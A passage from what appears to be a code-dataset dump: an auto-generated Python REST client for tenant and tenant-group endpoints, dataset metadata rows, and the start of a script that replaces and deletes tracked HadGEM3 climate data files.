= self.tenancy_tenant_groups_read_with_http_info(id, **kwargs) # noqa: E501 return data def tenancy_tenant_groups_read_with_http_info(self, id, **kwargs): # noqa: E501 """tenancy_tenant_groups_read # noqa: E501 Call to super to allow for caching # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.tenancy_tenant_groups_read_with_http_info(id, async_req=True) >>> result = thread.get() :param async_req bool :param int id: A unique integer value identifying this tenant group. (required) :return: TenantGroup If the method is called asynchronously, returns the request thread. """ all_params = ['id'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method tenancy_tenant_groups_read" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'id' is set if ('id' not in params or params['id'] is None): raise ValueError("Missing the required parameter `id` when calling `tenancy_tenant_groups_read`") # noqa: E501 collection_formats = {} path_params = {} if 'id' in params: path_params['id'] = params['id'] # noqa: E501 query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501 ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['Bearer'] # noqa: E501 return self.api_client.call_api( '/tenancy/tenant-groups/{id}/', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='TenantGroup', # noqa: E501 auth_settings=auth_settings, async_req=params.get('async_req'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def tenancy_tenant_groups_update(self, id, data, **kwargs): # noqa: E501 """tenancy_tenant_groups_update # noqa: E501 # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.tenancy_tenant_groups_update(id, data, async_req=True) >>> result = thread.get() :param async_req bool :param int id: A unique integer value identifying this tenant group. (required) :param WritableTenantGroup data: (required) :return: TenantGroup If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.tenancy_tenant_groups_update_with_http_info(id, data, **kwargs) # noqa: E501 else: (data) = self.tenancy_tenant_groups_update_with_http_info(id, data, **kwargs) # noqa: E501 return data def tenancy_tenant_groups_update_with_http_info(self, id, data, **kwargs): # noqa: E501 """tenancy_tenant_groups_update # noqa: E501 # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.tenancy_tenant_groups_update_with_http_info(id, data, async_req=True) >>> result = thread.get() :param async_req bool :param int id: A unique integer value identifying this tenant group. (required) :param WritableTenantGroup data: (required) :return: TenantGroup If the method is called asynchronously, returns the request thread. """ all_params = ['id', 'data'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method tenancy_tenant_groups_update" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'id' is set if ('id' not in params or params['id'] is None): raise ValueError("Missing the required parameter `id` when calling `tenancy_tenant_groups_update`") # noqa: E501 # verify the required parameter 'data' is set if ('data' not in params or params['data'] is None): raise ValueError("Missing the required parameter `data` when calling `tenancy_tenant_groups_update`") # noqa: E501 collection_formats = {} path_params = {} if 'id' in params: path_params['id'] = params['id'] # noqa: E501 query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None if 'data' in params: body_params = params['data'] # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501 ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['Bearer'] # noqa: E501 return self.api_client.call_api( '/tenancy/tenant-groups/{id}/', 'PUT', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='TenantGroup', # noqa: E501 auth_settings=auth_settings, async_req=params.get('async_req'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def tenancy_tenants_create(self, data, **kwargs): # noqa: E501 """tenancy_tenants_create # noqa: E501 # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.tenancy_tenants_create(data, async_req=True) >>> result = thread.get() :param async_req bool :param WritableTenant data: (required) :return: Tenant If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.tenancy_tenants_create_with_http_info(data, **kwargs) # noqa: E501 else: (data) = self.tenancy_tenants_create_with_http_info(data, **kwargs) # noqa: E501 return data def tenancy_tenants_create_with_http_info(self, data, **kwargs): # noqa: E501 """tenancy_tenants_create # noqa: E501 # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.tenancy_tenants_create_with_http_info(data, async_req=True) >>> result = thread.get() :param async_req bool :param WritableTenant data: (required) :return: Tenant If the method is called asynchronously, returns the request thread. """ all_params = ['data'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method tenancy_tenants_create" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'data' is set if ('data' not in params or params['data'] is None): raise ValueError("Missing the required parameter `data` when calling `tenancy_tenants_create`") # noqa: E501 collection_formats = {} path_params = {} query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None if 'data' in params: body_params = params['data'] # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501 ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['Bearer'] # noqa: E501 return self.api_client.call_api( '/tenancy/tenants/', 'POST', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='Tenant', # noqa: E501 auth_settings=auth_settings, async_req=params.get('async_req'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def tenancy_tenants_delete(self, id, **kwargs): # noqa: E501 """tenancy_tenants_delete # noqa: E501 # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.tenancy_tenants_delete(id, async_req=True) >>> result = thread.get() :param async_req bool :param int id: A unique integer value identifying this tenant. (required) :return: None If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.tenancy_tenants_delete_with_http_info(id, **kwargs) # noqa: E501 else: (data) = self.tenancy_tenants_delete_with_http_info(id, **kwargs) # noqa: E501 return data def tenancy_tenants_delete_with_http_info(self, id, **kwargs): # noqa: E501 """tenancy_tenants_delete # noqa: E501 # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.tenancy_tenants_delete_with_http_info(id, async_req=True) >>> result = thread.get() :param async_req bool :param int id: A unique integer value identifying this tenant. (required) :return: None If the method is called asynchronously, returns the request thread. """ all_params = ['id'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method tenancy_tenants_delete" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'id' is set if ('id' not in params or params['id'] is None): raise ValueError("Missing the required parameter `id` when calling `tenancy_tenants_delete`") # noqa: E501 collection_formats = {} path_params = {} if 'id' in params: path_params['id'] = params['id'] # noqa: E501 query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501 ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['Bearer'] # noqa: E501 return self.api_client.call_api( '/tenancy/tenants/{id}/', 'DELETE', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type=None, # noqa: E501 auth_settings=auth_settings, async_req=params.get('async_req'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def tenancy_tenants_list(self, **kwargs): # noqa: E501 """tenancy_tenants_list # noqa: E501 Call to super to allow for caching # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.tenancy_tenants_list(async_req=True) >>> result = thread.get() :param async_req bool :param str id: :param str name: :param str slug: :param str created: :param str created__gte: :param str created__lte: :param str last_updated: :param str last_updated__gte: :param str last_updated__lte: :param str q: :param str group_id: :param str group: :param str tag: :param str id__n: :param str id__lte: :param str id__lt: :param str id__gte: :param str id__gt: :param str name__n: :param str name__ic: :param str name__nic: :param str name__iew: :param str name__niew: :param str name__isw: :param str name__nisw: :param str name__ie: :param str name__nie: :param str slug__n: :param str slug__ic: :param str slug__nic: :param str slug__iew: :param str slug__niew: :param str slug__isw: :param str slug__nisw: :param str slug__ie: :param str slug__nie: :param str group_id__n: :param str group__n: :param str tag__n: :param int limit: Number of results to return per page. :param int offset: The initial index from which to return the results. :return: InlineResponse20055 If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.tenancy_tenants_list_with_http_info(**kwargs) # noqa: E501 else: (data) = self.tenancy_tenants_list_with_http_info(**kwargs) # noqa: E501 return data def tenancy_tenants_list_with_http_info(self, **kwargs): # noqa: E501 """tenancy_tenants_list # noqa: E501 Call to super to allow for caching # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.tenancy_tenants_list_with_http_info(async_req=True) >>> result = thread.get() :param async_req bool :param str id: :param str name: :param str slug: :param str created: :param str created__gte: :param str created__lte: :param str last_updated: :param str last_updated__gte: :param str last_updated__lte: :param str q: :param str group_id: :param str group: :param str tag: :param str id__n: :param str id__lte: :param str id__lt: :param str id__gte: :param str id__gt: :param str name__n: :param str name__ic: :param str name__nic: :param str name__iew: :param str name__niew: :param str name__isw: :param str name__nisw: :param str name__ie: :param str name__nie: :param str slug__n: :param str slug__ic: :param str slug__nic: :param str slug__iew: :param str slug__niew: :param str slug__isw: :param str slug__nisw: :param str slug__ie: :param str slug__nie: :param str group_id__n: :param str group__n: :param str tag__n: :param int limit: Number of results to return per page. :param int offset: The initial index from which to return the results. :return: InlineResponse20055 If the method is called asynchronously, returns the request thread. """ all_params = ['id', 'name', 'slug', 'created', 'created__gte', 'created__lte', 'last_updated', 'last_updated__gte', 'last_updated__lte', 'q', 'group_id', 'group', 'tag', 'id__n', 'id__lte', 'id__lt', 'id__gte', 'id__gt', 'name__n', 'name__ic', 'name__nic', 'name__iew', 'name__niew', 'name__isw', 'name__nisw', 'name__ie', 'name__nie', 'slug__n', 'slug__ic', 'slug__nic', 'slug__iew', 'slug__niew', 'slug__isw', 'slug__nisw', 'slug__ie', 'slug__nie', 'group_id__n', 'group__n', 'tag__n', 'limit', 'offset'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method tenancy_tenants_list" % key ) params[key] = val del params['kwargs'] collection_formats = {} path_params = {} query_params = [] if 'id' in params: query_params.append(('id', params['id'])) # noqa: E501 if 'name' in params: query_params.append(('name', params['name'])) # noqa: E501 if 'slug' in params: query_params.append(('slug', params['slug'])) # noqa: E501 if 'created' in params: query_params.append(('created', params['created'])) # noqa: E501 if 'created__gte' in params: query_params.append(('created__gte', params['created__gte'])) # noqa: E501 if 'created__lte' in params: query_params.append(('created__lte', params['created__lte'])) # noqa: E501 if 'last_updated' in params: query_params.append(('last_updated', params['last_updated'])) # noqa: E501 if 'last_updated__gte' in params: query_params.append(('last_updated__gte', params['last_updated__gte'])) # noqa: E501 if 'last_updated__lte' in params: query_params.append(('last_updated__lte', params['last_updated__lte'])) # noqa: E501 if 'q' in params: query_params.append(('q', params['q'])) # noqa: E501 if 'group_id' in params: query_params.append(('group_id', params['group_id'])) # noqa: E501 if 'group' in params: query_params.append(('group', params['group'])) # noqa: E501 if 'tag' in params: query_params.append(('tag', params['tag'])) # noqa: E501 if 'id__n' in params: query_params.append(('id__n', params['id__n'])) # noqa: E501 if 'id__lte' in params: query_params.append(('id__lte', params['id__lte'])) # noqa: E501 if 'id__lt' in params: query_params.append(('id__lt', params['id__lt'])) # noqa: E501 if 'id__gte' in params: query_params.append(('id__gte', params['id__gte'])) # noqa: E501 if 'id__gt' in params: query_params.append(('id__gt', params['id__gt'])) # noqa: E501 if 'name__n' in params: query_params.append(('name__n', params['name__n'])) # noqa: E501 if 'name__ic' in params: query_params.append(('name__ic', params['name__ic'])) # noqa: E501 if 'name__nic' in params: query_params.append(('name__nic', params['name__nic'])) # noqa: E501 if 'name__iew' in params: query_params.append(('name__iew', params['name__iew'])) # noqa: E501 if 'name__niew' in params: query_params.append(('name__niew', params['name__niew'])) # noqa: E501 if 'name__isw' in params: query_params.append(('name__isw', params['name__isw'])) # noqa: E501 if 'name__nisw' in params: query_params.append(('name__nisw', params['name__nisw'])) # noqa: E501 if 'name__ie' in params: query_params.append(('name__ie', params['name__ie'])) # noqa: E501 if 'name__nie' in params: query_params.append(('name__nie', params['name__nie'])) # noqa: E501 if 'slug__n' in params: query_params.append(('slug__n', params['slug__n'])) # noqa: E501 if 'slug__ic' in params: query_params.append(('slug__ic', params['slug__ic'])) # noqa: E501 if 'slug__nic' in params: query_params.append(('slug__nic', params['slug__nic'])) # noqa: E501 if 'slug__iew' in params: query_params.append(('slug__iew', params['slug__iew'])) # noqa: E501 if 'slug__niew' in params: query_params.append(('slug__niew', params['slug__niew'])) # noqa: E501 if 'slug__isw' in params: query_params.append(('slug__isw', params['slug__isw'])) # noqa: E501 if 'slug__nisw' in params: query_params.append(('slug__nisw', params['slug__nisw'])) # noqa: E501 if 'slug__ie' in params: query_params.append(('slug__ie', params['slug__ie'])) # noqa: E501 if 'slug__nie' in params: query_params.append(('slug__nie', params['slug__nie'])) # noqa: E501 if 'group_id__n' in params: query_params.append(('group_id__n', params['group_id__n'])) # noqa: E501 if 'group__n' in params: query_params.append(('group__n', params['group__n'])) # noqa: E501 if 'tag__n' in params: query_params.append(('tag__n', params['tag__n'])) # noqa: E501 if 'limit' in params: query_params.append(('limit', params['limit'])) # noqa: E501 if 'offset' in params: query_params.append(('offset', params['offset'])) # noqa: E501 header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501 ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['Bearer'] # noqa: E501 return self.api_client.call_api( '/tenancy/tenants/', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='InlineResponse20055', # noqa: E501 auth_settings=auth_settings, async_req=params.get('async_req'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def tenancy_tenants_partial_update(self, id, data, **kwargs): # noqa: E501 """tenancy_tenants_partial_update # noqa: E501 # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.tenancy_tenants_partial_update(id, data, async_req=True) >>> result = thread.get() :param async_req bool :param int id: A unique integer value identifying this tenant. (required) :param WritableTenant data: (required) :return: Tenant If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.tenancy_tenants_partial_update_with_http_info(id, data, **kwargs) # noqa: E501 else: (data) = self.tenancy_tenants_partial_update_with_http_info(id, data, **kwargs) # noqa: E501 return data def tenancy_tenants_partial_update_with_http_info(self, id, data, **kwargs): # noqa: E501 """tenancy_tenants_partial_update # noqa: E501 # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.tenancy_tenants_partial_update_with_http_info(id, data, async_req=True) >>> result = thread.get() :param async_req bool :param int id: A unique integer value identifying this tenant. (required) :param WritableTenant data: (required) :return: Tenant If the method is called asynchronously, returns the request thread. """ all_params = ['id', 'data'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method tenancy_tenants_partial_update" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'id' is set if ('id' not in params or params['id'] is None): raise ValueError("Missing the required parameter `id` when calling `tenancy_tenants_partial_update`") # noqa: E501 # verify the required parameter 'data' is set if ('data' not in params or params['data'] is None): raise ValueError("Missing the required parameter `data` when calling `tenancy_tenants_partial_update`") # noqa: E501 collection_formats = {} path_params = {} if 'id' in params: path_params['id'] = params['id'] # noqa: E501 query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None if 'data' in params: body_params = params['data'] # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501 ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['Bearer'] # noqa: E501 return self.api_client.call_api( '/tenancy/tenants/{id}/', 'PATCH', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='Tenant', # noqa: E501 auth_settings=auth_settings, async_req=params.get('async_req'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def tenancy_tenants_read(self, id, **kwargs): # noqa: E501 """tenancy_tenants_read # noqa: E501 Call to super to allow for caching # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.tenancy_tenants_read(id, async_req=True) >>> result = thread.get() :param async_req bool :param int id: A unique integer value identifying this tenant. (required) :return: Tenant If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.tenancy_tenants_read_with_http_info(id, **kwargs) # noqa: E501 else: (data) = self.tenancy_tenants_read_with_http_info(id, **kwargs) # noqa: E501 return data def tenancy_tenants_read_with_http_info(self, id, **kwargs): # noqa: E501 """tenancy_tenants_read # noqa: E501 Call to super to allow for caching # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.tenancy_tenants_read_with_http_info(id, async_req=True) >>> result = thread.get() :param async_req bool :param int id: A unique integer value identifying this tenant. (required) :return: Tenant If the method is called asynchronously, returns the request thread. """ all_params = ['id'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method tenancy_tenants_read" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'id' is set if ('id' not in params or params['id'] is None): raise ValueError("Missing the required parameter `id` when calling `tenancy_tenants_read`") # noqa: E501 collection_formats = {} path_params = {} if 'id' in params: path_params['id'] = params['id'] # noqa: E501 query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501 ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['Bearer'] # noqa: E501 return self.api_client.call_api( '/tenancy/tenants/{id}/', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='Tenant', # noqa: E501 auth_settings=auth_settings, async_req=params.get('async_req'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def tenancy_tenants_update(self, id, data, **kwargs): # noqa: E501 """tenancy_tenants_update # noqa: E501 # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.tenancy_tenants_update(id, data, async_req=True) >>> result = thread.get() :param async_req bool :param int id: A unique integer value identifying this tenant. (required) :param WritableTenant data: (required) :return: Tenant If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.tenancy_tenants_update_with_http_info(id, data, **kwargs) # noqa: E501 else: (data) = self.tenancy_tenants_update_with_http_info(id, data, **kwargs) # noqa: E501 return data def tenancy_tenants_update_with_http_info(self, id, data, **kwargs): # noqa: E501 """tenancy_tenants_update # noqa: E501 # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.tenancy_tenants_update_with_http_info(id, data, async_req=True) >>> result = thread.get() :param async_req bool :param int id: A unique integer value identifying this tenant. (required) :param WritableTenant data: (required) :return: Tenant If the method is called asynchronously, returns the request thread. """ all_params = ['id', 'data'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method tenancy_tenants_update" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'id' is set if ('id' not in params or params['id'] is None): raise ValueError("Missing the required parameter `id` when calling `tenancy_tenants_update`") # noqa: E501 # verify the required parameter 'data' is set if ('data' not in params or params['data'] is None): raise ValueError("Missing the required parameter `data` when calling `tenancy_tenants_update`") # noqa: E501 collection_formats = {} path_params = {} if 'id' in params: path_params['id'] = params['id'] # noqa: E501 query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None if 'data' in params: body_params = params['data'] # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501 ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['Bearer'] # noqa: E501 return self.api_client.call_api( '/tenancy/tenants/{id}/', 'PUT', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='Tenant', # noqa: E501 auth_settings=auth_settings, async_req=params.get('async_req'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats)
40.589206
607
0.600582
7,510
63,928
4.803595
0.026365
0.060984
0.047124
0.044241
0.959667
0.955703
0.938434
0.92693
0.926736
0.924602
0
0.019284
0.299947
63,928
1,574
608
40.614994
0.786808
0.316199
0
0.80479
1
0
0.20821
0.043061
0
0
0
0
0
1
0.02994
false
0
0.00479
0
0.079042
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
8
748a71eaebae9f844d881b0842251b102f6b127d
109
py
Python
wandb/integration/metaflow/__init__.py
borisgrafx/client
c079f7816947a3092b500751eb920fda3866985f
[ "MIT" ]
3,968
2017-08-23T21:27:19.000Z
2022-03-31T22:00:19.000Z
wandb/integration/metaflow/__init__.py
borisgrafx/client
c079f7816947a3092b500751eb920fda3866985f
[ "MIT" ]
2,725
2017-04-17T00:29:15.000Z
2022-03-31T21:01:53.000Z
wandb/integration/metaflow/__init__.py
borisgrafx/client
c079f7816947a3092b500751eb920fda3866985f
[ "MIT" ]
351
2018-04-08T19:39:34.000Z
2022-03-30T19:38:08.000Z
from .metaflow import wandb_log, wandb_track, wandb_use __all__ = ["wandb_log", "wandb_track", "wandb_use"]
27.25
55
0.761468
16
109
4.5625
0.5
0.219178
0.356164
0.493151
0.712329
0.712329
0
0
0
0
0
0
0.110092
109
3
56
36.333333
0.752577
0
0
0
0
0
0.266055
0
0
0
0
0
0
1
0
false
0
0.5
0
0.5
0
1
0
0
null
1
1
1
0
1
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
7
7499bbf8aa8d094a001b4200107d6da26854017f
96
py
Python
src/funcsforprajay/plotting/__init__.py
prajayshah/funcsforprajay
0ff3b5dece994f9fbbd7ad6e6458d76caf5c43c5
[ "MIT" ]
null
null
null
src/funcsforprajay/plotting/__init__.py
prajayshah/funcsforprajay
0ff3b5dece994f9fbbd7ad6e6458d76caf5c43c5
[ "MIT" ]
null
null
null
src/funcsforprajay/plotting/__init__.py
prajayshah/funcsforprajay
0ff3b5dece994f9fbbd7ad6e6458d76caf5c43c5
[ "MIT" ]
null
null
null
import funcsforprajay.plotting._utils as utils import funcsforprajay.plotting.plotting as plot
24
47
0.864583
12
96
6.833333
0.5
0.487805
0.682927
0
0
0
0
0
0
0
0
0
0.09375
96
3
48
32
0.942529
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
7
77c5055f8c14bae7cde86cc9af0b460aca4a0c5f
10,642
py
Python
scripts/update_dreqs/update_dreqs_0198.py
jonseddon/primavera-dmt
1239044e37f070b925a3d06db68351f285df780c
[ "BSD-3-Clause" ]
null
null
null
scripts/update_dreqs/update_dreqs_0198.py
jonseddon/primavera-dmt
1239044e37f070b925a3d06db68351f285df780c
[ "BSD-3-Clause" ]
49
2018-11-14T17:00:03.000Z
2021-12-20T11:04:22.000Z
scripts/update_dreqs/update_dreqs_0198.py
jonseddon/primavera-dmt
1239044e37f070b925a3d06db68351f285df780c
[ "BSD-3-Clause" ]
2
2018-07-04T10:58:43.000Z
2018-09-29T14:55:08.000Z
#!/usr/bin/env python """ update_dreqs_0198.py Replace 39 files from HadGEM3-GC31-HM highresSST-present r1i3p1f1 from 2006 that have been run again due to missing data in the original files. """ import argparse import logging.config import os import sys from cf_units import date2num, CALENDAR_GREGORIAN import django django.setup() from pdata_app.utils.replace_file import replace_files from pdata_app.models import DataFile from pdata_app.utils.common import delete_drs_dir __version__ = '0.1.0b1' DEFAULT_LOG_LEVEL = logging.WARNING DEFAULT_LOG_FORMAT = '%(levelname)s: %(message)s' logger = logging.getLogger(__name__) def delete_files(query_set): """ Delete any files online from the specified queryset """ directories_found = [] for df in query_set.filter(online=True): try: os.remove(os.path.join(df.directory, df.name)) except OSError as exc: logger.error(str(exc)) else: if df.directory not in directories_found: directories_found.append(df.directory) df.online = False df.directory = None df.save() for directory in directories_found: if not os.listdir(directory): delete_drs_dir(directory) logger.debug('{} directories removed'.format(len(directories_found))) def parse_args(): """ Parse command-line arguments """ parser = argparse.ArgumentParser(description='Add additional data requests') parser.add_argument('-l', '--log-level', help='set logging level to one of ' 'debug, info, warn (the default), or error') parser.add_argument('--version', action='version', version='%(prog)s {}'.format(__version__)) args = parser.parse_args() return args def main(args): """ Main entry point """ filenames = [ "vortmean_Prim3hrPt_HadGEM3-GC31-HM_highresSST-present_r1i3p1f1_gn_200607010000-200607302100.nc", "zg7h_Prim3hrPt_HadGEM3-GC31-HM_highresSST-present_r1i3p1f1_gn_200607010000-200607302100.nc", "va100m_Prim3hrPt_HadGEM3-GC31-HM_highresSST-present_r1i3p1f1_gn_200607010000-200612302100.nc", "ua50m_Prim3hrPt_HadGEM3-GC31-HM_highresSST-present_r1i3p1f1_gn_200607010000-200612302100.nc", "va50m_Prim3hrPt_HadGEM3-GC31-HM_highresSST-present_r1i3p1f1_gn_200607010000-200612302100.nc", "ua100m_Prim3hrPt_HadGEM3-GC31-HM_highresSST-present_r1i3p1f1_gn_200607010000-200612302100.nc", "sfcWind_Prim3hr_HadGEM3-GC31-HM_highresSST-present_r1i3p1f1_gn_200607010130-200612302230.nc", "sfcWindmax_Prim3hr_HadGEM3-GC31-HM_highresSST-present_r1i3p1f1_gn_200607010130-200612302230.nc", "evspsbl_Prim3hr_HadGEM3-GC31-HM_highresSST-present_r1i3p1f1_gn_200607010130-200612302230.nc", "hus_E3hrPt_HadGEM3-GC31-HM_highresSST-present_r1i3p1f1_gn_200607010000-200607302100.nc", "va_E3hrPt_HadGEM3-GC31-HM_highresSST-present_r1i3p1f1_gn_200607010000-200607302100.nc", "ua_E3hrPt_HadGEM3-GC31-HM_highresSST-present_r1i3p1f1_gn_200607010000-200607302100.nc", "wap_E3hrPt_HadGEM3-GC31-HM_highresSST-present_r1i3p1f1_gn_200607010000-200607302100.nc", "ta_E3hrPt_HadGEM3-GC31-HM_highresSST-present_r1i3p1f1_gn_200607010000-200607302100.nc", "hfls_3hr_HadGEM3-GC31-HM_highresSST-present_r1i3p1f1_gn_200607010130-200612302230.nc", "rlds_3hr_HadGEM3-GC31-HM_highresSST-present_r1i3p1f1_gn_200607010130-200612302230.nc", "tas_3hr_HadGEM3-GC31-HM_highresSST-present_r1i3p1f1_gn_200607010000-200612302100.nc", 